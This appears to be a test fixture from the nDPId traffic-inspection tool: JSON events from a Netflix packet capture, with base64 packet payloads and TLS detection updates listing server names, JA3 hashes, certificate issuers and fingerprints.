+00427{"flow_id":56,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6775,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319117,"pkt_ts_usec":734717,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"5JjWH70UgCqoTGHMCABFIAA0AOhAACkGPN80KR4FwKgBBwG7z\/fOmYqu+6oYWYAQAD3iAQAAAQEICqH9ikcfZfX3"} +02372{"flow_id":56,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6776,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319117,"pkt_ts_usec":737656,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"5JjWH70UgCqoTGHMCABFIAXcAOlAACkGNzY0KR4FwKgBBwG7z\/fOmYqu+6oYWYAQAD0zKwAAAQEICqH9ikgfZfX3FgMDAFkCAABVAwNYeOmNdGOVmQo66HGj3YmHMScZhCM9z81cHZ8udlMiIiDcQ+\/FQ45c2bdXzP\/d5vWiRznU+6UwyhdZu7Y2G7JjpMAvAAAN\/wEAAQAACwAEAwABAhYDAwpTCwAKTwAKTAAFLTCCBSkwggQRoAMCAQICEEyDi0+FfvCSTifwFgngw9wwDQYJKoZIhvcNAQELBQAwfjELMAkGA1UEBhMCVVMxHTAbBgNVBAoTFFN5bWFudGVjIENvcnBvcmF0aW9uMR8wHQYDVQQLExZTeW1hbnRlYyBUcnVzdCBOZXR3b3JrMS8wLQYDVQQDEyZTeW1hbnRlYyBDbGFzcyAzIFNlY3VyZSBTZXJ2ZXIgQ0EgLSBHNDAeFw0xNjA0MTIwMDAwMDBaFw0xODA0MTAyMzU5NTlaMHYxCzAJBgNVBAYTAlVTMRMwEQYDVQQIDApDYWxpZm9ybmlhMRIwEAYDVQQHDAlsb3MgZ2F0b3MxFjAUBgNVBAoMDU5ldGZsaXgsIEluYy4xDDAKBgNVBAsMA09wczEYMBYGA1UEAwwPYXBpLm5ldGZsaXguY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAr0Z0vVg0+uwRnQgMqpd9ZwS7jp+haqVMWt\/aP2iVEz0YnjzxpK71leEdLOvCa7xXvw6qvgJgviQpWWaZLbuMx4dZ0wdQrWbFtuiNWVROO9UKlOR7zkSpBQBHjL8PDMR8GxjYhY0z9ub1P+ar3lsbL0PqJTXnpC4+5jliGtK7hBDnRBzIyN17GbPKT0EY9qzw2OhysiseSVIpeA2uTMsdjCuCJ8U2+vpz4RKQMVBcZpbGTOowLQya0VARHJxNv8MoepZLmqpbClDmpaWt6xW2h2cjWruIsD\/YQ7jbkhDSwodDubij58Mu5BWLQ+l4PPUsjmGAv3yZxbVcRpS6Wlm4uQIDAQABo4IBqTCCAaUwgbMGA1UdEQSBqzCBqIIVYXBpLWxhdGFtLm5ldGZsaXguY29tghRodG1sdHZ1aS5uZXRmbGl4LmNvbYISYXBpLWV1Lm5ldGZsaXguY29tghJ1aWJvb3QubmV0ZmxpeC5jb22CFmFwaS1nbG9iYWwubmV0ZmxpeC5jb22CFGFwaS11c2VyLm5ldGZsaXguY29tghJhcGktdXMubmV0ZmxpeC5jb22CD2FwaS5uZXRmbGl4LmNvbTAJBgNVHRMEAjAAMA4GA1UdDwEB\/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwYQYDVR0gBFowWDBWBgZngQwBAgIwTDAjBggrBgEFBQcCARYXaHR0cHM6Ly9kLnN5bWNiLmNvbS9jcHMwJQYIKwYBBQUHAgIwGQwXaHR0cHM6Ly9kLnN5bWNiLmNvbS9ycGEwLwYIKwYBBQUHAQEEIzAhMB8GCCsGAQUFBzABhhNodHRwOi8vc3Muc3ltY2QuY29tMB8GA1UdIwQYMBaAFF9gz2GQVd+EQxSKYCqy9Xr0QxjvMA0GCSqGSIb3DQEBCwUAA4IBAQAdulHmLmvIdudqnSfhfmUEAkyAOEjgZ6H0k6BxmsH9zCQp6kh2Gn+6dw6yfgP+i+rrY5dJH59AnS0VSYm9l6Z2Q+oxBW3bKnGXHyAdm+pn0xnaoyVjvtsX5c1CZkwU+uzR+tLsC8xb0LDX0GTepgBR9Gv6C4+xg9+2VPA+fWZFwOvKONHO7uIp4D+u7Hmp1WMg8XA8cm2R59JkzTy56a2qikZCBk0Iiv6tg1u4MVCfWygHnmBNLR0RYC6LqagZzsJF6hfv7jbweV24LQUbdNELDCtEH0VUYn5jzB7SmHZg8RPHU5ZesfRgzs6ULuupnucw3hatgscIhcAN2cOcz9cQAAUZMIIFFTCCA\/2gAwI="} +00820{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":6776,"source":"netflix.pcap","alias":"nDPId-test","flow_id":56,"flow_packet_id":6,"flow_first_seen":1484319117605,"flow_last_seen":1484319117737,"flow_tot_l4_data_len":2177,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":362,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"52.41.30.5","src_port":53239,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.NetFlix","breed":"Fun","category":"Video"},"tls": {"version":"TLSv1.2","client_requested_server_name":"api-global.netflix.com","ja3":"d8bfad189bd26664e04570c104ee8418","ja3s":"303951d4c50efb2e991652225a6f02b1","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,h2-16,h2-15,h2-14,spdy\/3.1,spdy\/3,http\/1.1"}} +02384{"flow_id":56,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6777,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319117,"pkt_ts_usec":738672,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"5JjWH70UgCqoTGHMCABFIAXcAOpAACkGNzU0KR4FwKgBBwG7z\/fOmZBW+6oYWYAQAD1qhgAAAQEICqH9ikgfZfX3AQICECguJ5F5M5LkKPIhp07JN64wDQYJKoZIhvcNAQELBQAwgcoxCzAJBgNVBAYTAlVTMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjEfMB0GA1UECxMWVmVyaVNpZ24gVHJ1c3QgTmV0d29yazE6MDgGA1UECxMxKGMpIDE5OTkgVmVyaVNpZ24sIEluYy4gLSBGb3IgYXV0aG9yaXplZCB1c2Ugb25seTFFMEMGA1UEAxM8VmVyaVNpZ24gQ2xhc3MgMyBQdWJsaWMgUHJpbWFyeSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAtIEczMB4XDTEzMTAzMTAwMDAwMFoXDTIzMTAzMDIzNTk1OVowfjELMAkGA1UEBhMCVVMxHTAbBgNVBAoTFFN5bWFudGVjIENvcnBvcmF0aW9uMR8wHQYDVQQLExZTeW1hbnRlYyBUcnVzdCBOZXR3b3JrMS8wLQYDVQQDEyZTeW1hbnRlYyBDbGFzcyAzIFNlY3VyZSBTZXJ2ZXIgQ0EgLSBHNDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALLYBcocdC21F1Y5xUpSCZboS9gM8WifmkIoYsOlMFN+VRGCWwN6DS\/heQTJtJZ3GYEBlFn5vPd6mSeCLbeD3Vonf7IDepxTJelIH0ZPyJ0p+L55Vvb3\/dk6aNqLS4IzQRLDyDzM1pZ6hCEaIgQDJxeLHGhhkw8OUYAzHbS1zut+0GKs7rN7AXTvaTXrytU9qe6XmMqNqkQOJZlKFZakzm0CVB8qaibiBjpjSKy0TNF1k1D\/Ey\/W2uHGGPWfySVd8wA63iZNtCkJzQ89I28WSoEW+\/KDEMO41thVMj3xvQ+9jFKVShaXelIhY3UvFvnEZr71tQnY\/ycAzUR8b0s\/sPcCAwEAAaOCAUAwggE8MB0GA1UdDgQWBBRfYM9hkFXfhEMUimAqsvV69EMY7zASBgNVHRMBAf8ECDAGAQH\/AgEAMGsGA1UdIARkMGIwYAYKYIZIAYb4RQEHNjBSMCYGCCsGAQUFBwIBFhpodHRwOi8vd3d3LnN5bWF1dGguY29tL2NwczAoBggrBgEFBQcCAjAcGhpodHRwOi8vd3d3LnN5bWF1dGguY29tL3JwYTAvBgNVHR8EKDAmMCSgIqAghh5odHRwOi8vcy5zeW1jYi5jb20vcGNhMy1nMy5jcmwwDgYDVR0PAQH\/BAQDAgEGMCkGA1UdEQQiMCCkHjAcMRowGAYDVQQDExFTeW1hbnRlY1BLSS0xLTUzNDAuBggrBgEFBQcBAQQiMCAwHgYIKwYBBQUHMAGGEmh0dHA6Ly9zLnN5bWNkLmNvbTANBgkqhkiG9w0BAQsFAAOCAQEAWxdSvtZWe\/T3NAlLlsrH9iHQaYDv55oZ6CTif9kvYd0T61pl5OFqkMtOKumKFudSjfZDG0cFDYCjqJr+KdO8HSjVpUrUcTwPdcULcz8ASGV5DatqHiUMwALeZqy9SwZrmleKKoF+Z5u6UmBzxBX3u8FQyQiluldKOhsQcxzhe7aUA0uuUbCCQDpaJJzuDVhdrropesoznrKBwi+OwSfPQPAEoT\/1N8LK\/KxTbalTaU\/hdmQMJYGpNwPyOXM00sF8eBgcqGsW5+fgnSmv2ORpOXmVabl7XF0BnNT380hFE2SV1wpuctpDIiRvPlpw3MCS4C3lV\/jkKyfu9f8bswGDehYDAwFNDAABSQMAF0EEavDjk+pGlWQUqGM3NWAA2G5qU7B6CFPB6uLrjBm\/25GqMgyixXoLIc2rV2Ew89YPaeX2SJ82dSdnjc9HLrNAAQQBAQCrke27aAul3r8\/uCX+ZFbmMKYGnQYLTpcpjuveX1ZJ8u2xETbUWl21Xh3LZ4ZIU7\/I3DXX\/\/ezc2teamknVcii+yPzWIxLn9Y="} +01276{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":6777,"source":"netflix.pcap","alias":"nDPId-test","flow_id":56,"flow_packet_id":7,"flow_first_seen":1484319117605,"flow_last_seen":1484319117738,"flow_tot_l4_data_len":3657,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":522,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"52.41.30.5","src_port":53239,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.NetFlix","breed":"Fun","category":"Video"},"tls": {"version":"TLSv1.2","client_requested_server_name":"api-global.netflix.com","server_names":"api-latam.netflix.com,htmltvui.netflix.com,api-eu.netflix.com,uiboot.netflix.com,api-global.netflix.com,api-user.netflix.com,api-us.netflix.com,api.netflix.com","ja3":"d8bfad189bd26664e04570c104ee8418","ja3s":"303951d4c50efb2e991652225a6f02b1","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=Symantec Corporation, OU=Symantec Trust Network, CN=Symantec Class 3 Secure Server CA - G4","issuerDN":"C=US, ST=California, L=los gatos, O=Netflix, Inc., OU=Ops, CN=api.netflix.com","alpn":"h2,h2-16,h2-15,h2-14,spdy\/3.1,spdy\/3,http\/1.1","fingerprint":"FC:5B:F6:86:AE:E5:22:0D:60:0C:C3:DF:8F:02:80:3F:A3:60:0E:3C"}} +00429{"flow_id":56,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6778,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319117,"pkt_ts_usec":740145,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0iO9AAEAGnffAqAEHNCkeBc\/3Abv7qhhZzpmV\/oAQD9LG2QAAAQEICh9l9jmh\/YpI"} +00695{"flow_id":56,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6780,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319117,"pkt_ts_usec":750242,"pkt_caplen":259,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":259,"pkt_l4_len":225,"pkt":"5JjWH70UgCqoTGHMCABFIAD1AOtAACkGPBs0KR4FwKgBBwG7z\/fOmZX++6oYWYAYAD082gAAAQEICqH9ikgfZfX343n8ekW5WtFwiuat3MPIymSR3y0qy\/vs6KzyxHxT0M7HJ2eVg8TbWuZ\/k73CDiepUJIty7M2cpeckPEf3PEDQ6A+b6yfWGSApeKADzVqo\/gONNdP8gk0zeC4os5mpmSKO0AEUQeqggAiQL3tFBY0FmMmxj4VAv\/Z53+JJCGr6LZhCWve8g4F3MV+FBkKyUMtZbO8VNzPAgbyIVIvpr59ETKzVG9n0ZpkeiLZfC\/gWHOpbnvD9L16IRYDAwAEDgAAAA=="} +00431{"flow_id":56,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6784,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319117,"pkt_ts_usec":752470,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0\/MtAAEAGKhvAqAEHNCkeBc\/3Abv7qhhZzpmWv4AQD\/nF5gAAAQEICh9l9kSh\/YpI"} +00534{"flow_id":56,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6785,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319117,"pkt_ts_usec":765524,"pkt_caplen":141,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":141,"pkt_l4_len":107,"pkt":"gCqoTGHM5JjWH70UCABFAAB\/ok1AAEAGhE7AqAEHNCkeBc\/3Abv7qhhZzpmWv4AYEAAe+gAAAQEICh9l9k+h\/YpIFgMDAEYQAABCQQSKupYYjQStRdGCf4HwqhmEZkGMUBAh0KPnuwi9SZmVBQOGzMp\/Ejv5KI2ULxRIe974P36T7KRV5QNiedV8Ak9q"} +00437{"flow_id":56,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6786,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319117,"pkt_ts_usec":765671,"pkt_caplen":72,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":72,"pkt_l4_len":38,"pkt":"gCqoTGHM5JjWH70UCABFAAA6jYtAAEAGmVXAqAEHNCkeBc\/3Abv7qhikzpmWv4AYEACtdwAAAQEICh9l9k+h\/YpIFAMDAAEB"} +00493{"flow_id":56,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6787,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319117,"pkt_ts_usec":765766,"pkt_caplen":111,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":111,"pkt_l4_len":77,"pkt":"gCqoTGHM5JjWH70UCABFAABhlNpAAEAGkd\/AqAEHNCkeBc\/3Abv7qhiqzpmWv4AYEABO7wAAAQEICh9l9k+h\/YpIFgMDACgIsqaAt27YcArYI7wohih2+41gRIX\/5tR4vz3Bvttt4yVnrxvUHkkK"} +00426{"flow_id":57,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6788,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319117,"pkt_ts_usec":767728,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"5JjWH70UgCqoTGHMCABFIAA0uJNAACkGjGs0IBbWwKgBBwG70ABfA576ZnjDJoAQAD194wAAAQEICraxJm0fZfYa"} +02377{"flow_id":57,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6789,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319117,"pkt_ts_usec":770085,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"5JjWH70UgCqoTGHMCABFIAXcuJRAACkGhsI0IBbWwKgBBwG70ABfA576ZnjDJoAQAD1YQQAAAQEICraxJm0fZfYaFgMDAFkCAABVAwNYeOmNTx\/sDODUD7+PMlMChiVbuPABeetp9qed6D9ItSB83esKcDEiKu0ZMjH71CC6Tr03jfDxmHM5gUcShjg1xMAvAAAN\/wEAAQAACwAEAwABAhYDAwgiCwAIHgAIGwAEIDCCBBwwggMEoAMCAQICAhObMA0GCSqGSIb3DQEBCwUAMIGZMS0wKwYDVQQDEyRQcmltYXJ5IENlcnRpZmljYXRlIEF1dGhvcml0eSAoMjAwOSkxEzARBgNVBAgTCkNhbGlmb3JuaWExCzAJBgNVBAYTAlVTMRQwEgYDVQQKEwtOZXRmbGl4IEluYzEcMBoGA1UECxMTRWxlY3Ryb25pYyBEZWxpdmVyeTESMBAGA1UEBxMJTG9zIEdhdG9zMB4XDTAxMDExNzIwMzIwOVoXDTE4MDMyNDIwMzIwOVowgYAxGzAZBgNVBAMMEioubmNjcC5uZXRmbGl4LmNvbTEWMBQGA1UECgwNTmV0ZmxpeCwgSW5jLjETMBEGA1UECwwKT3BlcmF0aW9uczELMAkGA1UEBhMCVVMxEzARBgNVBAgMCkNhbGlmb3JuaWExEjAQBgNVBAcMCUxvcyBHYXRvczCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAKCMPKDrRKNlpQYmDci6pMXZdSSUbKrQRkPDz7HhtKtPPugiuJduNExZc6Kdb12vBV\/O+SiPHaVK7mpFvbFGQlMb6qQfwVOi\/aD6FF0wubaBBRmV5soLn6Uml8hcRcy1GwhcE0PciETMHgCKsYz6GRuA022Eqzo18xrMBx0ZwPuRDaRc+aOcYlh2D8wJdLQNpKdgRiYnOzqzb1V73+PIcLBKBaRmuSAMY7T6QAsBvotFYlMY32uWd0vZw9isFDSJCV8w2CSLAAeSkvUEJt3zKqKD5d5h8lWhsfYUg78EDVQMWb3iyTQ+UHy3b4IHtGaB+ybeHo7UkyS4NKYViXGQ4bECAwEAAaOBhDCBgTALBgNVHQ8EBAMCBaAwHwYDVR0jBBgwFoAUgzutabNbHNPaO8lPBXMZwiqK8P8wHQYDVR0OBBYEFH8tt\/b+DoJ\/qUOipuTAuxoaEiJTMBMGA1UdJQQMMAoGCCsGAQUFBwMBMB0GA1UdEQQWMBSCEioubmNjcC5uZXRmbGl4LmNvbTANBgkqhkiG9w0BAQsFAAOCAQEAkveZR7qD\/7\/8qJ4CSsfWHq+Cw0DsuYB9YjDmpMA3gU+yzX9cXxMn8tY3AApgaSjK94LEU1T7O\/bsKsL0uCJuFhSfW4W3+AlTe3UhEOMeILOZwgcMhUPQXGI28idMvibE1zQjX96OSlU9uDL6s8itcycsRGgSP0e+Umi1cijldISAIfgK+QzQIa\/k6kuJZ2i1hk4M6e8JqkqoYRso7uoX2ECQVKzVgRgm0z79wLxOrKXQf5L2Js7s03GHwdt04kQTtyYRh6NEGBmzjgdicV4sXy4g3wbAPPR1+itz5sKT\/vAAteT\/4Ik8+RSfZGNefG8eQxjBkJKvoKV1GyHiH3YYrgAD9TCCA\/EwggLZoAMCAQICAQAwDQYJKoZIhvcNAQEFBQAwgZkxLTArBgNVBAMTJFByaW1hcnkgQ2VydGlmaWNhdGUgQXV0aG9yaXR5ICgyMDA5KTETMBEGA1UECBMKQ2FsaWZvcm5pYTELMAkGA1UEBhMCVVMxFDASBgNVBAoTC05ldGZsaXggSW5jMRwwGgYDVQQLExNFbGVjdHJvbmljIERlbGl2ZXJ5MRIwEAYDVQQHEwlMb3MgR2F0b3MwHhcNMDEwMTAxMTIzMDAwWhcNMjkwMTAxMTIzMDAwWjCBmTEtMCsGA1UEAxMkUHJpbWFyeSBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkgKDIwMDkpMRMwEQYDVQQIEwo="} +00818{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":6789,"source":"netflix.pcap","alias":"nDPId-test","flow_id":57,"flow_packet_id":6,"flow_first_seen":1484319117651,"flow_last_seen":1484319117770,"flow_tot_l4_data_len":2177,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":362,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"52.32.22.214","src_port":53248,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.NetFlix","breed":"Fun","category":"Video"},"tls": {"version":"TLSv1.2","client_requested_server_name":"ios.nccp.netflix.com","ja3":"dc67ac8aaf8d7f69ecd6598135448f24","ja3s":"303951d4c50efb2e991652225a6f02b1","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256"}} +01889{"flow_id":57,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6790,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319117,"pkt_ts_usec":771052,"pkt_caplen":1146,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1146,"pkt_l4_len":1112,"pkt":"5JjWH70UgCqoTGHMCABFIARsuJVAACkGiDE0IBbWwKgBBwG70ABfA6SiZnjDJoAYAD3W4QAAAQEICraxJm0fZfYaQ2FsaWZvcm5pYTELMAkGA1UEBhMCVVMxFDASBgNVBAoTC05ldGZsaXggSW5jMRwwGgYDVQQLExNFbGVjdHJvbmljIERlbGl2ZXJ5MRIwEAYDVQQHEwlMb3MgR2F0b3MwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQClPiFZwHhqw9wmYrruaK5lM2jxb7OnG1xOPDkmSt9ostlHBuuEIpSAegeSu5IfyCw3LHZ5HEtbube7+v\/KvRUK5l\/8E0dgm2kIkuwXCInrxOb8Vue1EwYiVMbipMtTVxaqzqdYnzqFFOOaTfiiHdtDWwp3jjKl188E9wc5el6k667OBUw7VTGI1M30wgKX7rU1qB+D91fdnRNVb90uSyhuGgXw1LaZpqNyQ9UU0bMQcwmLcmoY3NWdMMN4j0Fw11owmtXswG41YKRxcm9yJjbyyDmry1mVF9Ri9GMcR5I+VveQudxyLML\/0PMTT+qCooHPhnMm\/zY9AEn0tmAkD70jAgMBAAGjQjBAMA8GA1UdEwEB\/wQFMAMBAf8wDgYDVR0PAQH\/BAQDAgGGMB0GA1UdDgQWBBSDO61ps1sc09o7yU8FcxnCKorw\/zANBgkqhkiG9w0BAQUFAAOCAQEAPX7Vj0zBi5fWHkB\/U5GnVLqaRStn52gTsUPoxmVjareLMMkMSrAGtP8CHGMLLrjOh9GFMjrsJM6Q+mLzAhMhpmvZPRAM4kzXdAYTLRWD4dxyYCkG2sjDdGTYdO7AfokcOnu5kypA0bdWe8KcZVFjpw8f+ACSkxjkgL+lk0kWZf+uiCojU3Wt9O\/Z8+xm1PIbBOEfirH+o8gWESD86CiOqZH9cFmSjXziHHxIo4mgCTt9Jse8h8gkDJE2wQTeq3ttX1P5eyrHphoXtwy2Wtx77US+s5J0di17tOPKnQFd35Ew\/l0PWFqar2MQ46R\/UU15UR68hb86jgCQplA8NeBZoBYDAwFNDAABSQMAF0EEGryB8m7f8C\/ezYDjVMC5\/bYUlL3UMXWF51ZdioOsu1C8eeg9z3YrwNQhm0E0NE1Vc2dSBCCy9Npo3cZ0\/HFXoAYBAQALpT\/TcXR0cyQ2jeBcJtVSKF4flRrDO4XagnDKaHjqsAzRaYic0a5xBgdfAXxnt5YgTh6Ogq3FgS7OJEHONngoUlOTQDqdlKNVQpslt6r29Uf8sHNQk64IEnsyWpoFwO2fJTg7OvnkV938u1NMYoknbrpmQ8yXpBgERPOszr7roWDZUGNwi\/P4ZY9MyPNj79138byllqjSN+ekcFWX+fXq8HQHw7P3ClLVNZIfMmq4MRhKLvENvlYqsAw49RpSaIP\/JnvDI4zY98GAWdKC5TZ7+Ls127OoewXbBYLZUzzwnbKE6CUjzt1qJPqzDRanLaZkoHG1d8dIX7vfOLQ0ht3xFgMDAAQOAAAA"} +01157{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":6790,"source":"netflix.pcap","alias":"nDPId-test","flow_id":57,"flow_packet_id":7,"flow_first_seen":1484319117651,"flow_last_seen":1484319117771,"flow_tot_l4_data_len":3289,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":469,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"52.32.22.214","src_port":53248,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.NetFlix","breed":"Fun","category":"Video"},"tls": {"version":"TLSv1.2","client_requested_server_name":"ios.nccp.netflix.com","server_names":"*.nccp.netflix.com","ja3":"dc67ac8aaf8d7f69ecd6598135448f24","ja3s":"303951d4c50efb2e991652225a6f02b1","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"CN=Primary Certificate Authority (2009), ST=California, C=US, O=Netflix Inc, OU=Electronic Delivery, L=Los Gatos","issuerDN":"CN=*.nccp.netflix.com, O=Netflix, Inc., OU=Operations, C=US, ST=California, L=Los Gatos","fingerprint":"97:F6:63:95:8F:F2:5E:E0:80:12:5A:FD:BF:B2:EB:FE:A2:FE:72:33"}} +00426{"flow_id":57,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6791,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319117,"pkt_ts_usec":772465,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0BPhAAEAGKSfAqAEHNCAW1tAAAbtmeMMmXwOo2oAQD95kJQAAAQEICh9l9le2sSZt"} +00600{"flow_id":57,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6792,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319117,"pkt_ts_usec":782417,"pkt_caplen":192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":192,"pkt_l4_len":158,"pkt":"gCqoTGHM5JjWH70UCABFAACyVqJAAEAG1v7AqAEHNCAW1tAAAbtmeMMmXwOo2oAYEADVWQAAAQEICh9l9mC2sSZtFgMDAEYQAABCQQRW4SqRtHvW1q1mzZsrrs8mojReDLgwFeEIY2OsHixN1K3kho70V7T\/gGZ6kYzMwEv\/41qGKiPo7lD+1AdA36\/9FAMDAAEBFgMDACghZeBhnC3o6ffq0vTU96qYNuzh4mxVd8mDQQq7zCSZeBD5nscZMxzQ"} +00429{"flow_id":56,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6793,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319117,"pkt_ts_usec":815949,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"5JjWH70UgCqoTGHMCABFIAA0AOxAACkGPNs0KR4FwKgBBwG7z\/fOmZa\/+6oY14AQAD3VBgAAAQEICqH9ilsfZfZP"} +00502{"flow_id":56,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6794,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319117,"pkt_ts_usec":816730,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"5JjWH70UgCqoTGHMCABFIABnAO1AACkGPKc0KR4FwKgBBwG7z\/fOmZa\/+6oY14AYAD083gAAAQEICqH9ilwfZfZPFAMDAAEBFgMDACh\/LK6JN0ZD3RkfXIV1XQ7JAljOZpZWgJP4B550eF\/r\/45wBqUx9ZkK"} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6799,"source":"netflix.pcap","alias":"nDPId-test","flow_id":58,"flow_packet_id":1,"flow_first_seen":1484319117826,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"52.41.30.5","src_port":53249,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} 